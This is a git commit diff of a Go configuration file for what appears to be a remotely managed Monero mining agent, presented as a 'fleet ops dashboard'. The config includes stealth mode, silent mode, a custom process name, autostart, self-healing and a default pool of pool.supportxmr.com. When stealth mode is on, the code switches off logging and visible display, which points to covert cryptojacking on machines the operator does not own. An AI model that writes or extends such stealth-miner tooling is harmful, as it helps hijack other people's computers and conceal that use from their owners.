Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
@@ -9,28 +9,28 @@ import (
|
||||
const Version = "1.0.0"
|
||||
|
||||
type BuiltinConfig struct {
|
||||
WorkerName string
|
||||
ServerURL string
|
||||
Wallet string
|
||||
Threads int
|
||||
ThreadMode string
|
||||
ThreadPercent int
|
||||
CPUPriority string
|
||||
MiningMode string
|
||||
DisplayMode string
|
||||
SilentMode bool
|
||||
RunAs string
|
||||
AutoStart bool
|
||||
ProcessName string
|
||||
BuildID string
|
||||
BuiltAt time.Time
|
||||
PoolHost string
|
||||
PoolPort int
|
||||
PoolTLS bool
|
||||
PoolPass string
|
||||
MaxCPUUsage int
|
||||
MaxMemoryPct int
|
||||
MinFreeRAM int
|
||||
WorkerName string
|
||||
ServerURL string
|
||||
Wallet string
|
||||
Threads int
|
||||
ThreadMode string
|
||||
ThreadPercent int
|
||||
CPUPriority string
|
||||
MiningMode string
|
||||
DisplayMode string
|
||||
SilentMode bool
|
||||
RunAs string
|
||||
AutoStart bool
|
||||
ProcessName string
|
||||
BuildID string
|
||||
BuiltAt time.Time
|
||||
PoolHost string
|
||||
PoolPort int
|
||||
PoolTLS bool
|
||||
PoolPass string
|
||||
MaxCPUUsage int
|
||||
MaxMemoryPct int
|
||||
MinFreeRAM int
|
||||
IdleThresholdPct int
|
||||
IdleDurationMinutes int
|
||||
ScheduleStart string
|
||||
@@ -42,6 +42,10 @@ type BuiltinConfig struct {
|
||||
SelfHealing bool
|
||||
FileLogging bool
|
||||
StealthMode bool
|
||||
// AI Autonomy (Ollama)
|
||||
AIEnabled bool
|
||||
AIOllamaEndpoint string
|
||||
AIModel string
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
@@ -103,6 +107,23 @@ func Load() RuntimeConfig {
|
||||
if b.InstallRelativePath == "" {
|
||||
b.InstallRelativePath = DefaultInstallRelativePath
|
||||
}
|
||||
if b.PoolHost == "" {
|
||||
b.PoolHost = "pool.supportxmr.com"
|
||||
}
|
||||
if b.PoolPort <= 0 {
|
||||
b.PoolPort = 3333
|
||||
}
|
||||
if b.PoolPass == "" {
|
||||
b.PoolPass = "x"
|
||||
}
|
||||
if b.AIEnabled {
|
||||
if b.AIOllamaEndpoint == "" {
|
||||
b.AIOllamaEndpoint = "http://localhost:11434"
|
||||
}
|
||||
if b.AIModel == "" {
|
||||
b.AIModel = "llama3.2"
|
||||
}
|
||||
}
|
||||
if b.StealthMode {
|
||||
b.FileLogging = false
|
||||
if b.DisplayMode == "" || b.DisplayMode == "visible" {
|
||||
|
||||
Reference in New Issue
Block a user